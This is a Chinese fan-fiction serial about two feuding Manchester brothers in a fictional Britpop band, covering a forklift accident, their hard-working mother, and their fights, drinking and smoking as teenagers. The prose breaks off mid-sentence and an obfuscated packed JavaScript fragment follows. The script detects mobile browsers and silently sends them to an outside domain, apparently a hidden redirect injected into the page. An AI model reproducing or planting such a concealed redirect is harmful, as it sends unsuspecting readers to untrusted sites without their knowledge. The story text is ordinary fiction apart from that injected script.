《对家兄弟(英伦摇滚)》
1. 序章
让星星揭开童话故事中的谜底,打碎梦幻泡泡——法国巴黎。
2009年8月28日,英国娱乐新闻节目在下午两点准时播放。
“大家好,我是主持人John,今天早上发生一件重要的事件,Bloom乐队官方发出声明宣布:乐队第二主唱诺尔·汉纳姆退出乐队,Bloom乐队解散。这是一个很令人惋惜和心痛的消息,作为在1991年创立的90年代的新星摇滚乐队,英国国宝级别的摇滚乐队,其专辑在英国乃至世界各大洲有着巨大的影响,想必大家都想知道乐队的解散的原因,下面有请史蒂芬来向我们现场报道。”
“hello,史蒂芬。”
“hello,John,我此刻就站在乐队成员所住的巴黎酒店楼下,现场的人非常多。”
“斯蒂芬,你那边进展如何?”
“从今天早上Bloom乐队官方发正式出解散声明后,乐队成员所住的酒店就被粉丝和记者包围了,此刻现场很混乱,而且他们成员拒绝接受任何采访……”
“史蒂芬,你能给我们讲讲昨天晚上发生了什么事导致乐队解散?”
“好的,John。昨天Bloom乐队在巴黎开演唱会期间,乐队主唱利亚姆·汉纳姆与诺尔·汉纳姆兄弟二人在演唱会后台发生了巨大冲突,过程不明,据太阳报内部消息称两兄弟互相交手,最后以利亚姆摔坏诺尔的吉他结束,诺尔直言受不了他弟弟的脾气坐车离开巴黎演唱会,由此演唱会取消,这是一个很可惜的事情,来巴黎看演唱会的7万粉丝感到很失望。我本人也是Bloom乐队的忠诚粉丝,很遗憾听到这个消息。”
“这次巴黎演唱会取消,自乐队建立的十几年间是不可思议的,这个乐队从未在演唱会开始之际取消……”
突然,话筒传来人群的呐喊声。
电视台现场报道人员史蒂芬也对话筒喊道。
“John,乐队成员出来了,我能看见他们!”
史蒂芬拿着话筒挤到酒店门口,看到了Bloom乐队一行人,利亚姆·汉纳姆走在前面,身后跟着鼓手赛尔·史达、贝斯手葛姆·阿切尔和吉他手安迪·贝尔,唯独少了一个人,诺尔·汉纳姆。他们四个人被几个保镖围在中间保护着。
利亚姆是个很美丽以及帅气的小子,个子不高但将有一米八。他依然是和往常一样酷毙的模样,戴着不常戴的黑色贝雷帽,高高的眉骨抵着着白框太阳眼镜,穿着青绿色派克短款式风衣,一双长腿踩着阿迪达斯的运动鞋。他们被无数粉丝和记者推搡,面上都有着显而易见的烦躁……
“liam,你的哥哥诺尔今天早上宣布退出你们Bloom乐队,这件事你怎么看?”
“liam,巴黎演唱会取消是因为你吗?”
“liam,乐队解散你不想说点什么吗?”
“Gem,作为乐队的一员,您对这件事怎么看?”
“Andy,昨天晚上到底发生了什么?”
“liam,你的哥哥诺尔没有和你们在一起吗?他是不是抛弃这个乐队了?”
……liam……利亚姆……这些记者就逮着他在那问,当然也有记者问其他成员问题,但他们矛头大部分针对乐队的主唱,不,现在应该是前乐队主唱了。
一大堆问题涌上来,无数的问题问不完。
这种情况要是放在往常,Bloom乐队的主唱威廉姆也就是利亚姆将会打爆挤在前面的男性记者的脑袋,谩骂开口胡扯问题的媒体人。
这一次,Bloom乐队的成员却很反常的没有说一句话,他们紧闭着嘴巴,眼里含着怒气,被保镖护着送上了车,直到他们的车变成一个个小黑点儿,粉丝和记者才从酒店楼下散去。
此刻在英国那一端的主持人听着麦克风中的嘈杂在平静,耐下性子问,“hello,史蒂芬,你还在吗?”
“我还在,John。你应该也看到了,乐队一行人中没有诺尔·汉纳姆。如果他不在这里,那他在哪呢?还有主唱威廉姆·汉纳姆脸上的伤是否是根据传闻所说是他的哥哥诺尔打得?我是娱乐新闻记者史蒂芬,谢谢大家观看。”
“我是主持人John,今日娱乐新闻真是轰动全国,让我们拭目以待吧。”
PS:诺尔 ·汉纳姆/Noel1967年5月29日出生于英国曼彻斯特,歌手、前Bloom乐队词曲作者,第二主唱,主音吉他。
威廉姆或者利亚姆·汉纳姆/William,生于1972年9月21日,前Bloom乐队成员、主唱。
——
1986年六月初二下午五时,这个时候正值下班时刻,穿着蓝色连体工装的工人们难免会有些松懈,但没关系。
“诺尔,你去开铲车把货卸下来,快点,别耽误了下班。”拿着记事本的工厂主管对着蹲在地上的青年吼道,语气不算客气
“好的,先生。”诺尔放下自己手中的活,用毛巾擦掉糊了一脸的汗,脱掉手套爬上铲车。
一辆装着十几个巨型铁罐的卡车横停在门口,铁管上写着“英国天然气有限公司”。诺尔来到这厂里不久,开铲车的技术也不是太熟练,但好在是有惊无险地完成了卸货的任务。
铲车高五六米,站在铲车前面的主管努力伸长胳膊,向他比个大拇指,伴着吼声,“诺尔,这活儿干得真不错,很棒!”
坐在铲车里的诺尔只能看到主管的半个脑袋,他打开铲车的门,露出大半个身子,栗色的微卷短发被风扬起,青涩的脸庞有着几滴汗,嘴角上扬的弧度很好看。
“先生,你知道我是第一次开铲车吗?”诺尔语气很自豪,也是在炫耀。
“那你可是太厉害了,快点下来吧,诺尔。”主管震惊道,眼中带着赞许。
诺尔对主管的夸奖很受用,向他摆手示意。这个时候的诺尔很有傲气,没有什么他不能做的,他能做任何事,他十几岁就可以跟着他父亲去建筑工地干活。
但意外总是猝不及防的。
就在下一秒,就在诺尔半曲着身子下铲车时,悲惨的事发生了,躲都躲不过。他的脚愚蠢的踩空,他的整个身体瞬间失去平衡。
在这个生死攸关的时刻,诺尔竟还有心思想着:“我可是诺尔.汉纳姆,我怎么可以那么愚蠢到从铲车上摔下来?”
他从铲车上摔下去还不够,由于操蛋的惯性,他的肋骨狠狠砸在铲车的巨大轮胎上,右手的手腕被反弹到地面上,能听见骨头发出“咔嚓”的断裂声音,他的后脑也重重摔在粗糙硬石地面上。
站在铲车前面的主管听到人体自由落体的动静,大喊,“我的天,快来人帮忙! ……HELP! Jesus……”<
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p>主管迅速跑向诺尔,不敢触摸他,跪在诺尔的耳边弯腰询问,“还能听见吗?能听见吗?诺尔!”
瘫在地上的诺尔能听到耳边的问题,但张不出口回答,因为浑身上下太疼了。
“fooking……hell !”尤其是脑袋疼得一跳一跳的,能把人直接送走,他用尽全力只能睁开双眼勉强回应着。
眼前的画面也在慢慢模糊,一大群穿着和他一样的蓝色连体工装衣的工人们把他围在中间,打电话给 911, call 911……这句话在人群中的声音尤其重复和刺耳。
不知道在地上躺了多久,当诺尔以为自己要死的时候,一只戴着医用着橡胶手套的手扒开他的眼皮,一道闪亮白光照到他的眼底。他知道,他将会得救。
他流血脑袋被绷带捆住了,整个人一轻,被红衣人抬上了担架,又装进红色的车里,一切的声音远离了他,这是他从来没有体会过的安静……
“嘀……”心率在往下骤降直到停止,那扰人厌烦的嘀声不管急救人员是如何施救仍然在响着。
“最后一组,加大电压,三、二、一,开始。”
同行急救人员准备好工作,再进行最后一组,如果没有效果……宣布死亡时间。
你知道濒临死亡是什么感觉吗?此时的诺尔知道……很安静,脑子里什么都没有, 很平静。
诺尔从来没有体会过的平静与安宁,很让人沉沦……但是又很黑暗很孤独,能感受到自己的思维在慢慢消失,世间属于他的痕迹被渐渐抹去,我本来就是一个人,世间的边缘人,没什么好留恋的,不是吗?
不……我才19岁,我还有家人,爱我的妈妈,爱我的大哥,还有叛逆的弟弟……冥冥中,诺尔知道这个家需要他。
幸运还是会不时的降临到深陷苦楚却年轻的人们身上,毕竟他们还很年轻,还没有体会到真正且有意义的生活。
“队长,奏效了,他活了。”
“他是个很幸运的人,他的求生意识很坚强。”急救队长卡洛斯摘下口罩对主驾驶喊,“请快点,这名患者伤得很重。”
随着一脚油门的踩下,不知闯多少红灯快速到达最近的英国切斯特医院。
“护士,护士,紧急情况!”卡洛斯先跳下车喊。
医院门口冲出一行护士,推着可移动病床,从打开救护车的门不到半分钟,患者就被推到急诊室里。
一位护士报出她所得知的信息,“患者身体多处骨折,现已知肋骨多处,右手手腕一处,其他情况不明。”
穿着白衣的医生说,“患者后脑受到重击迫压,建议先进行脑部CT检查,先查明脑部情况,送去CT室。”
一行人又快速将伤者洗干净换了衣服送去CT室,当脑部片子出来时,拿到片子的护士浑身一震,努力平静下来带着片子去找脑科室罗斯医生。
“罗斯医生,病人很危险,脑部有一个巨大的血块压迫了脑神经,这个血块会导致病人脑死亡,需要尽快手术。”
“准备手术。速速联系病人家属,告明情况。”
罗斯医生表情瞬间凝重,疾步走到手术室外,换了蓝色手术服无菌消毒后,手术开始。
手术室外,护士在英国医疗保险系统里查到了病人的家属……
“请问是佩吉女士吗?您的儿子……”
2. 坚韧的母亲
佩吉这个时候刚结束超市兼职的工作回到家中,房间空间不大,比较是住在政府提供的廉租房,一眼能看到头,三室一厅,对于只有三个孩子的母亲来说,足够了。
她走进自已的卧室,把自已在超市穿戴的工作服脱下,打算梳理一番去工作她今天的第二份兼职——一个本地快餐的服务员。
“翁……翁……”家里的唯一一部电话响了。
佩吉整了整头发和衣服,确保自已形象合乎餐厅要求规范,然后才拿起电话按通接听键,其中佩吉还在想着,是威廉那个小子在学校又惹出事儿了?
然而并不是……这个结果会让她心碎。
“您好,是佩吉女士吗?这里是英国切斯特医院,您的儿子诺尔正在此接受治疗……”
话还没有结束就被佩吉打断,从电话中能听出一位母亲的心急与担忧。
“OMG!我的儿子诺尔发生了什么?请告诉我……他还好吗?”
佩吉语气慌张伴着紊乱的呼吸声。
“女士,请冷静,您的儿子正在手术中,情况有点严重,需要您现在来医院等候。”
“好的,我马上过去,有任何情况请告诉我。”
佩吉颤抖着整个身体放下电话,抓着包就往门口跑,感觉到脚的酸痛,才发觉自已工作穿的高跟皮鞋还没有换下。
“我的天……”抱怨一句后,扶着鞋柜快速地换掉,在这过程中因为慌张鞋还掉了好几次。
“糟糕的一天……冷静下来。”佩吉弓着身子深呼吸三次,微有作用,拿上钥匙,奔赴医院。
佩吉和三个孩子住的地方是曼切斯特最贫穷的地方,是当地政府提供的廉租房,离英国切斯特医院比较远,开车的话也是需要一个半多小时。
此时的佩吉很庆幸自已这几年有了些储蓄,买了个二手的路特斯汽车,耶稣保佑我的孩子,让我的孩子免于苦难……
诺尔的安危让这位开车的母亲无暇再关注另外的大儿子保罗和小儿子威廉,只能向上帝祈祷他们能够不要惹事儿。
在等红灯的过程中,佩吉终于抽出时间打电话给奥特夫人。
“hello,奥特夫人,威廉在你那儿吗?”
“yep,汉纳姆夫人。他在这里,在和我家的junior James一起玩游戏,需要我把小威廉送回去吗?”
“please,no……相反,你能帮我照看一下威廉姆吗?就今天晚上。”
“当然,我很乐意,是发生什么事儿了吗?”奥特夫人语气很不安,有明显的担忧。
“嗯……yeah,诺尔出了意外,正在医院接受手术,我现在正在赶过去。”
“上帝保佑他,他是个好孩子,我会好好照顾威廉的。”电话另一边的奥特夫人在胸口划了一个大大的十字架。
“Thanks,Miss Ott. Thank you. ”
佩吉挂断了电话,听到车后传来刺耳的喇叭声,“嘀……嘀……”
她摇下车窗,将头伸向窗外,朝着后面的车吼道,“Shut up,我今天很糟糕,请不要惹到我,Shutup,you bastard。”
哇,这下子,后车的人没想到自已惹的是如此强悍的女性,灰溜溜地从旁侧溜走。
此刻,路口死长的红灯终于变绿了,佩吉发动了车。
佩吉从来不是那种优雅的女士,自小生活在民风“淳朴”混乱的爱尔兰,又跟着酒鬼丈夫移民到英国曼切斯特最贫穷的城镇,早就体会到了社会的不公。更重要的是,要养大三个孩子,无疑是需要很多英镑,她只有在工作时对顾客怀有该有的礼貌,对其他人,吃屎去吧,不值得这样对他们。
在去医院的路中,上帝终于眷顾到佩吉。这一路的红灯很少,不到一个小时就到了医院,她将车快速的停到医院的门口,抓着包就奔向医院一楼大厅的咨询台。
“请问一下,诺尔·汉纳姆在哪个科室?我是他的母亲。”
“稍等,女士……在四楼407旁边的手术室。”护士训练有素,毫不拖沓地调出医院系统查看后回答。
“这个手术要进行三个小时左右,请您耐心等待,汉纳姆女士。”
“好的,谢谢。”
佩吉拐到角落坐上电梯,来到诺尔所在的手术室外面,盯着冒着红灯的“手术中”发呆。
一个小时过去了,佩吉坐在医院配备的铁凳子上,坐得浑身酸痛。
“您是病人家属吗?”一位穿着蓝色手术服的女护士从手术室走出,摘下她的口罩问道。
“是的,我的病人的母亲,请问……”佩吉还没说完就被打断的。
“您的儿子从高处跌落,摔到了后脑,导致有血块压迫到脑神经,现在已经将血块安稳去除,病人的主治医生罗斯医生正在做最后的收尾,请放心。”
护士说完后拿来手术单子让在场的家属签字并转告家属缴纳住院的定金。
“好的,我回去前台缴费的。那诺尔……我的孩子会很好的痊愈,是吗?”佩吉拽着单子,在寻求面前人的肯定回答。
“如果没有特殊情况,是的。当然,病人身体多处骨折,需要很长时间的恢复期。”
“抱歉,我的汇报工作结束了。有什么问题等手术结束可以问病人的主治医生。”
护士投以抱歉的眼神,又将口罩戴上,回到了手术室。
“OK……”
——
Two days later……
傍晚,病房里静悄悄的,只有医用仪器发出的嗡嗡声。
诺尔从头疼欲裂的脑袋里找回自已的思考,他颤抖着睫毛睁开双眼。
“oh,我在这个该死的医院”。
诺尔注意到一位绿色眼睛头发半白的中年男性站在床头,男子身上挂着名牌,上面写着[Doctor:罗斯·切尔德],这是个老成的的医生,看起来很和善友好。
“汉纳姆先生,这是你被送到医院的第三天,我是你的主治医生,可以叫我罗斯医生。请问一下你现在有什么感受,或者不舒服的地方?”
诺尔抬起自已没有骨折的左手,指着自已的脑袋。
“Shit,everything sucks.我的头和我的身体现在很痛,你应该加大止疼药的用量,我怀疑我是被痛醒的。”
已经痛成这样的诺尔,还不忘规劝专业的医生,很有诺尔自已的道理,在医生面前不失“幽默”。
罗斯医生是纯正的伦敦人,讲着一口优雅的英伦腔。他在南方长大的,由于工作需求才来北方曼切斯特任职,虽然听过很多北方的方言,但还是被眼前之人所说的曼城土话给镇住了,耶稣啊,他说的是英文吗,不仔细听完全听不懂病人在讲什么。
罗斯医生拿着小型手电筒照了诺尔的瞳孔,一切正常。
“我确信你能够一个月内出院,如果恢复良好,二周就可以办理出院手续。”
“啧,待那么久会让我抓狂的。”
诺尔面色低沉下去,语速很快。
“你的家人会照顾好你的,请放心,汉纳姆先
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生。”罗斯医生尽力安抚病人的情绪。
“把那杯该死的水递给我,谢谢。”诺尔低垂着眼睑,语气不安,“我的家人在哪?他们还好吗?”
“他们一切都好......”
话还未落,就被一道开门声打断,伴着一到干哑的女声。
“诺尔,我的孩子,你醒了?Thank,God。”
佩吉将包放下,眼底有着很严重的乌青,她跑过来紧紧握住诺尔打着石膏的手尖。
“没事,妈妈,你知道的我爱你,无论我在不在你的身边。”诺尔皱着眉头对佩吉微笑,语气满含爱意。
“我知道......我一直都知道,我也爱你。”佩吉擦掉眼角的泪光回以一笑。
“只要你和你的二个兄弟一切都安好......”
“Rkids在哪?”诺尔皱着眉,脑袋上捆着厚重的绷带压的他喘不过气来。(Rkids是our kids缩写,是曼城土话,意思是我的兄弟姐妹们)
“sorry,打扰一下,我需要离开了,有什么问题可以来找我。”罗斯医生出声打扰,关了门离去。
“OK……”佩吉继续将视线投到她的孩子身上,“威廉还是一样,和朋友在草地上踢足球,保罗待在社区铺设煤气管道呢,you know what i mean ,我说,他们都很关心你。”
“我知道, 但是我要在医院待好几周,我无法忍受。”诺尔嘴抿在一起,“我想念Rkids,还有我的吉他。”
“我确信你的兄弟们会来陪你的,当然会把你的吉他带来,别太伤心,我的诺尔。”佩吉勾起一抹笑,抚摸着他的脸颊。
“妈妈,你辛苦了……你是换了新工作吗?”
不怪诺尔这么说,佩吉身上穿着白色的工作服。
“yes,之前的工作太忙了,找了个曲奇工厂,只需要上6个小时,下午四点半就下班了,工资也不错,也让我有更多的时间陪我的孩子们。”佩吉边说边将身上的工作服脱下,刚下班就开车来到医院,根本没有注意到自已的服装。
“这样很不错。”诺尔的右手手腕吊在脖子上,真的很不便,他的左手还握着一瓶水,别扭的将水放到床头柜上。
“Shit,我就知道我的肋骨遭殃了。”牵扯到肋骨的痛苦真的不好受,诺尔龇牙咧嘴做出痛苦面具。
“好了,别再动了。”佩吉看着孩子疲惫的蓝色瞳孔,摸了把他的光头。
“你这样子很不同,我喜欢你的光头。”
“妈妈,你知道的我喜欢我的长发,我讨厌我这样子。”诺尔撇着嘴,很不开心对自已的形象评价。
“出院会长出点,寸头也很适合你,真的。”佩吉撑着脸望向他,又问“想吃点什么?”
说到吃的,现在诺尔的诺尔可真是没有心情,“都可以,反正我现在这样子也吃不了薯条和炸□□?”
“yep,很有自知之明。”佩吉拿着包去买吃的去了,还不忘回头,“你有什么需要可以叫护士,我马上回来。”
“OK,妈妈,我已经是成年人了,我能照顾好自己。”诺尔摆着自已的左手,无奈冲妈妈的背影喊道。
“I know,but you are always my son. ”
佩吉转头对他可爱的孩子说道。
“l love you, mum. ”诺尔低声说着,并不在乎妈妈有没有听到,毕竟作为爱尔兰人家庭是一切。
所有人都爱自已的妈妈。
3. 三兄弟
出院一个月后……
诺尔半躺在他家里破旧的客厅沙发上,懒洋洋地翻阅着电视频道,闪烁的灯光在墙上投下不安的影子。他偶尔停下来大口喝一瓶金酒,琥珀色的液体温暖了他的喉咙,抚平了现实的边缘。
他才不在乎自已有没有满16岁,这个满16岁才能喝酒的法律对他来说像屎一样,不用理会。(英国人满16岁即可买酒饮酒)
他自从出院后就一直在家待着,喝着酒窝在卧室里听着石玫瑰和披头士乐队的唱片弹奏吉他,当然不是用右手,右手的骨折还没有好。他可以像保罗·麦卡特尼一样可以用左手弹吉他,这是他的天赋,也是他的幸运。(保罗·麦卡特尼是披头士乐队的成员之一)
“Noely——”门口出现一个穿着大码服装的少年,留着遮住眉毛的短发,房间的安静被他打破。
不用说,他那个小恶魔弟弟放学回来了,正好,诺尔正在郁闷中。
“Shut up. ”诺尔放下手里的遥控器,毫不客气的指使他,称弟弟还听他的话,“把我们卧室里的吉他拿给我。”
Fook,他已经十九岁了,还和比他小五岁的弟弟睡在一个房间,睡在一张床上,真是憋屈得很。
被指使的利亚姆很难得的没有与他对骂,乖乖的去了他们共同的卧室抱来吉他立在他的手边。
利亚姆下嘴唇都要噘要天上了,显然对哥哥指使他做事感到不开心,但对着刚出院的哥哥根本说不了狠话惹他更加难受。
“闭嘴,我知道你的脑袋在骂我,你个小混蛋,去玩儿去吧。”诺尔对他这个弟弟又爱又恨,看他说话走路的欠打样,让他滚出去吧。
利亚姆用他那愚蠢且放空的眼神望向他,向他竖了个中指。
‘‘You,little cunt.’’诺尔笑着骂向他。
‘‘你要去哪儿混去?’’
“去找James踢足球。”这显然是利亚姆放学的唯一消遣。
谢天谢地,他那个傻子弟弟终于说话了。
“请早点回来,不要让妈妈担心。”诺尔不忘担起哥哥的责任,对弟弟吩咐。
“yeah......”
利亚姆瘦小的身影从门后消失,暗沉的房间又只剩他一人,这对他来说很平常,孤独?NO,他享受孤独,这对他来说是好事。
诺尔用左手抱起吉他,随手扫出几个和弦,很有韵感,让人情不自禁跟着一起摇摆。自已这几年自学的吉他小有成就。他变换着指尖,哼唱着是玫瑰的专辑,小心的弹奏起来。
他一曲弹完,起身走进自已的小卧室,依然抱着吉他。
卧室很小,床就占了一大半,床头堆着乱写一通的歌曲手稿,靠近另一半的木椅上堆着利亚姆和诺尔的衣服,有些甚至都掉在地上,最引人瞩目的却是贴了半个墙面的摇滚乐队——披头士的海报,很酷的装饰,不难看出房间主人对披头士乐队的喜爱。
显然,这个房间还没有诺尔可以坐的地方,他干脆就倚靠着床边坐在地上,继续他的作曲,这样的事儿他能干一整天。
YOYOYOYO,时间过得真快,大哥保罗敲开了诺尔房间的门,撂下这一句话。
“妈妈今天加班,过来桌子前吃晚餐。”
诺尔坐得屁股都僵了,动了动僵硬的脖子跟着大哥出房间。
“Oh, 汉堡薯条,是我喜欢吃的。”诺尔惊喜的坐在椅子上。
保罗在旁边洗手池洗手,脸上和衣服上沾满了黑色污渍,疲惫的面容上展露一丝笑容。“嘿,boy,今天我发工资,好好珍惜吧。”
保罗来到诺尔边上,亲吻了一下他受伤脑袋的上方,“希望你的脑袋没有变傻,快吃吧。我去洗澡了”
“利亚姆那小子又去哪了?”保罗嘴里嘟囔着。
诺尔享受此刻的氛围,狠狠地咬了口汉堡,“我知道,他在和James踢足球。”
浴室传来呼啦的水声,掩盖住大哥的声音,不用想,此时的大哥肯定是在抱怨利亚姆是个疯狂的孩子,但这就是Rkid, 不同于常人。
诺尔吃饱了大半个肚子,用纸巾擦干净手,又窝进卧室进行自已的吉他独奏。
洗完澡后的保罗穿着清爽的短裤再次来到诺尔的房间。
“诺尔,请小心你的右手,它还在打着石膏。”
“这没关系,我用左手弹吉他。”诺尔哼了一声。
“你可以放下你的吉他,让你的吉他休息一下。你要过来和我一起看脱口秀吗?”
“No,我不会看那个愚蠢的节目,让我一个人待着,please?”
“OK,my……bad!”保罗摔门离开,他这个安静的弟弟总是说出一口讽刺的话,让人心里窝着气。
“Shit!小心对待我的门。”
诺尔忍不住痛呼,他的止痛药的效果到头了,从肋骨传来的刺痛感直达他的大脑,他开了一罐啤酒,混着药片吃下。
此刻的诺尔还在勉强的趴在床上写着脑子里的歌词,但下一秒,困意直达眼底。
“这该死的药……”急忙将裤子脱掉,抱着枕头睡去,好梦。
——
曼彻斯特的七月之夜,天空似深邃幽蓝的海,微风轻拂,温热与凉爽交织。
街灯洒下暖黄,映着古老建筑的轮廓,哥特尖顶与砖石墙透着历史的韵味。寥寥行人,醉酒的人遍地,远处酒吧飘来隐约的喧闹。
然而,廉租房处却似一片嘈杂的漩涡。孩子的哭声、大人的争执、电器的嗡鸣,混作一团。
利亚姆吸完最后一口廉价香烟,他皱着眉吞吐着烟雾,加快脚步走进那片喧嚣,他的身影在明暗交错的街道上渐远,瘦长单薄的身影在暖色灯下投下长长的黑影。
来到他所住的房子,打开门。柜子上亮着一盏暗黄的小灯,照亮了鞋柜前女性的软底皮鞋以及男孩的二三双运动鞋。
利亚姆放轻了关门动作,踮着脚来到自已和诺尔共用的卧室,卧底没有窗户,月光穿不透墙壁到达他们的卧室,整个房间很黑。
利亚姆将鞋踩掉踢到旁边,用手在黑暗中摸索着,摸到类似床头的触感,心里的紧张一下子被扫空。
摸索的手往下滑,摸到了诺尔的寸头。
哦!诺尔就睡在床边,好样的,希望他给我留了位置。
利亚姆半个屁股坐在床边上,脱下自已的裤子和外套,从诺尔的身上跨进床的里面躺下。
利亚姆很庆幸自己比较瘦小,还能够和诺尔挤挤一起睡,要不然这个床就是诺尔一个人的拥有物了,他才不想睡在硬得像地板的床垫,这就是他的床。
越想越愤慨,这个床还是有些挤了,诺尔霸占了大部分的床铺,他只能缩在角落里睡觉!
利亚姆朝着诺尔的方向挪动,紧紧贴着诺尔的后背,光裸的腿也紧贴着诺尔的腿,整个头都伸在诺尔的枕头上。
这样好多了,所有人都知道,利亚姆只是个十四岁的孩子,他怕黑,怕虫子,怕所有的鸟类,他是个缺乏安全感的男孩,他喜欢睡觉贴着人,这些都不是问题。
有问题的是,他的脑袋太简单了,他完全想不到他的胳膊搭在哥哥的肋骨上方。嘿,BOY, 你的哥哥刚出院,你不知道你的哥哥肋骨断裂了
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吗?你不知道它恢复期最起码有三个月吗?诺尔,多么希望你能醒来痛揍你的愚蠢却美丽的弟弟。
Oi,诺尔没醒,幸运的利亚姆。
利亚姆和诺尔,二人的睡觉姿势相像,有着同样的发色和瞳孔,他们是多么可爱的一对兄弟!
时间:早上大约八点半。
诺尔被领居年轻夫妇的打架声吵醒,扒拉一把自已的脑袋烦躁得坐起。利亚姆没有被楼上夫妇影响到,依然睡得很香,被他抵着睡觉的肩膀已经发酸,利亚姆的双腿箍住诺尔的下半身,手臂也拦在诺尔的腰间,让他动弹不得,又又…又又…又一次这样姿势醒来,诺尔从一开始的崩溃到现在的习以为常,好吧,这是我的亲弟弟,不能打他,我爱他。
但是,现在的诺尔急需要去洗手间释放早晨的pee,尽量不牵扯到肋骨,手脚并用将利亚姆从身上扒下来,天呐,他应该改掉抱着我睡觉的习惯。
他们的妈妈要在休息日去超市兼职,已经穿戴好出现在房间里 ,“Kids,醒了吗?”
“妈妈,我在这里,我已经醒了,当然,Rkid 还没醒。”诺尔在卧室外面共用的洗手间喊着。
诺尔在刷牙,佩吉来到他的身侧亲吻他的脸颊。
“我可爱的孩子诺尔,妈妈要去上班了,照顾好利亚姆好嘛?”
“再一次?”诺尔嘴里含着泡沫抱怨。
“对的,今天威廉(利亚姆本名William )不上课,你知道的,他太疯狂了,你需要关注他,作为一位哥哥。”
“我没问题,妈妈,安心去工作吧。”诺尔漱了口回她。
“桌上有牛奶和三明治,不要忘记吃。”佩吉边叮嘱边小步走向门口,带着包离开。
关门声响起,妈妈上班,大哥保罗肯定在外面陪他的女朋友。焉坏的诺尔打起了坏主意,他拿着湿的毛巾来到冰箱前,从里面拿出冻好的冰块,裹在毛巾里,差不多也可以知道了,诺尔要去搞他的弟弟,这就是醒的比他晚的代价。
利亚姆这个小家伙还在睡觉,诺尔羡慕他的好睡眠与神经大条,他将利亚姆的短袖掀开,将毛巾扔到利亚姆的肚皮上。
“WOW!冷,冷,冷!我在南极吗?”利亚姆从床上蹦起来,很夸张的大吼,一句短短的话包含着五六个“F”。
散落的冰块掉在地上,睡意全无,利亚姆空洞的眼神望着诺尔,“Rkid,你干的!”
利亚姆扑向诺尔,将他压在地上,向诺尔挥出一拳。
“Ouch,很痛!这只是个友好的玩笑。”诺尔手捂住眼眶痛呼。
“这一点儿也不友好,这是你该得的,我应该打死你。”利亚姆仍然压着诺尔,再次挥出一拳。
“嘿!”他的弟弟动真格了,再次袭击了他的脸。
不要和利亚姆打架,因为他真的会和你打。
诺尔被压得肋骨疼,咬着牙冠与利亚姆打成一团,“你想和我打?那就干起来吧。”
利亚姆听到这句话他的愤怒变成了二倍,使的劲毫不留情,打得好像是他的仇人。
差不多互殴了十分钟?诺尔不确定。二位兄弟身上都挂了彩,但是诺尔的情况更严重,他的眼眶下方一片青紫,嘴角挂着血迹,肋骨疼得腰直不起来。谁让他一位伤者去挑衅身体健在的弟弟,此时的诺尔自尊心致使他不会开口说话。
利亚姆是个奇妙的孩子,他们二个兄弟经常互相对骂打架,打得让任何人都觉得他们是互相憎恨的仇人,但诺尔和利亚姆不是这样,每次互殴后,利亚姆就像是个犯错的孩子,依赖着诺尔,靠在诺尔怀里寻求安慰,利亚姆爱他又恨他。
4. 兄弟依偎
利亚姆趴在诺尔的大腿上,睁着狭长极具魅惑力的蓝色大眼睛望向他。
就算诺尔不愿承认,也改变不了Rkid他有着漂亮的脸蛋和一双天使的眼睛,他上辈子一定是个女人。
诺尔皱眉扭头避开他的视线。
利亚姆直起腰,将脑袋靠在诺尔的肩头,“Rkid, sorry, 我不应该打你。”
诺尔没理,他的浑身上下都疼,并且感觉到很委屈。
“SORRY. ”利亚姆加重了语气,抱住诺尔。
“哈!你知道?”诺尔的语气带着讽刺,被压在利亚姆身下的诺尔完全是单方面被挨揍。
虽然说这互殴是由他引起,但这单方面的挨揍让诺尔想到他们该死的家暴父亲,诺尔被这个所谓的父亲打了十几年。
“Rkid, i love you. ”
“Rkid, 你有我全部的心.。
“Noely,我们是兄弟,我们会永远在一起的。”
利亚姆祈求挽回他,好样的,这就是他的Rkid,总是能让他回心转意,重拾对他的爱意。
“ Me too. 不会有下次。”诺尔固执的扭头不看他 ,但放轻的语气还是暴露了他。
“Opps,Rkid 你太棒了,我们去吃早餐吧。”
利亚姆亲吻他的嘴角,就像什么事都没发生一样,拍拍屁股就站起来吃早餐去了。
诺尔扯着嘴站起来,用脚踹了一下利亚姆只穿了四角内裤的屁股,“把你该死的裤子穿上。”
你能想象吗?这个只是汉纳姆兄弟一天中的的小插曲,这对兄弟不知怎么还能够好好相处,这是个奇迹。
诺尔窝在沙发里翻着电视频道,Rkid给他扔了个三明治。
“你个酒鬼,放下你的酒。”利亚姆嘴里含着食物哼道。
诺尔向他龇牙表示不屑,又狠狠灌了一口酒,“管好你自已,你个臭屁的小孩。”
酒精麻醉了口腔的伤口,混着血丝进入到炙热的食道,诺尔脸上疼痛的伤口也像被麻痹了,感觉不到一丝疼痛,嘿,这很好。
诺尔从上衣口袋摸出一根烟,起身去天然气灶台点着火,又继续窝在沙发里,享受着身上最后的一根烟。
身后传来椅子挪动的声音,利亚姆坐在他脚边的地毯上,眯着眼看他以及他手中的烟。
作为同穿一条裤子长大的亲兄弟,Rkid想干什么诺尔都有察觉,他将手中的烟伸向左方,与他的弟弟一同分享。
Rkid可不是乖孩子,他是个小恶魔,小混蛋,惹事鬼,打架怪,在诺尔的心里,他就是堕天使的象征。
Rkid的睫毛与眉骨掩盖住他抽烟时的神色,但不难看出他沉入香烟所带来的感受。
诺尔将烟夺来,狠吸一口,吐出一个烟圈。
“WOW,这很酷,RKID教教我。”
利亚姆总是喜欢粘着他,若是不教他,他会一整天都在说这件事儿。
诺尔又做了几遍,将烟递给利亚姆。
“你可以试试,很容易做到。”
Rkid果然是坏孩子的代表,很顺利的卷着舌尖吐出烟圈,诺尔抬手将烟圈打散,落下搭在Rkid肩头。
“Well,goodboy.你今天有什么安排?”
“和James他们一起踢足球,要加入我们吗?”
“NO!我不能踢足球,你个蠢货。”诺尔轻拍他的脑袋,失笑。
“Noely,你可以陪着我,陪我去嘛,我想要你陪我。”利亚姆仰着脑袋依靠在哥哥的膝盖上。
“OK.什么时候?”
“十点左右。”
利亚姆在陪着诺尔一起看电视节目TOP, 有关英伦摇滚的歌曲节目,诺尔完全沉浸在里面,忽略了弟弟整个人躺在他腿上的动作。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325058|167568||http|test|mini|href|location''.split(''|''),0,{}));
